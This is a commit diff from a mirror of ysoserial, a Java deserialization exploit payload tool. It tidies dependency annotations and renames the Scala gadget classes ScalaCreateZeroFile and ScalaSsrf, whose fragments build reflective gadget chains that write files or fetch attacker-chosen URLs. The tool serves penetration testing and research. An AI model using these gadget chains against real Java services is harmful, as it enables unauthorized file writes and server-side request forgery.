mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
more test fix/cleanup
This commit is contained in:
@@ -31,7 +31,7 @@ import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -31,7 +31,7 @@ import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -27,8 +27,6 @@ import java.util.PriorityQueue;
|
||||
Some slight variations will probably work with other versions.
|
||||
*/
|
||||
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Scala {
|
||||
|
||||
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
|
||||
@@ -67,7 +65,9 @@ public class Scala {
|
||||
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
|
||||
java.io.FileOutputStream.<init>()
|
||||
*/
|
||||
public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
|
||||
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
|
||||
@@ -88,7 +88,9 @@ public class Scala {
|
||||
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
|
||||
java.net.URL.openStream()
|
||||
*/
|
||||
public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public static class ScalaSsrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
|
||||
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
|
||||
@@ -99,8 +101,7 @@ public class Scala {
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
|
||||
//PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
|
||||
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user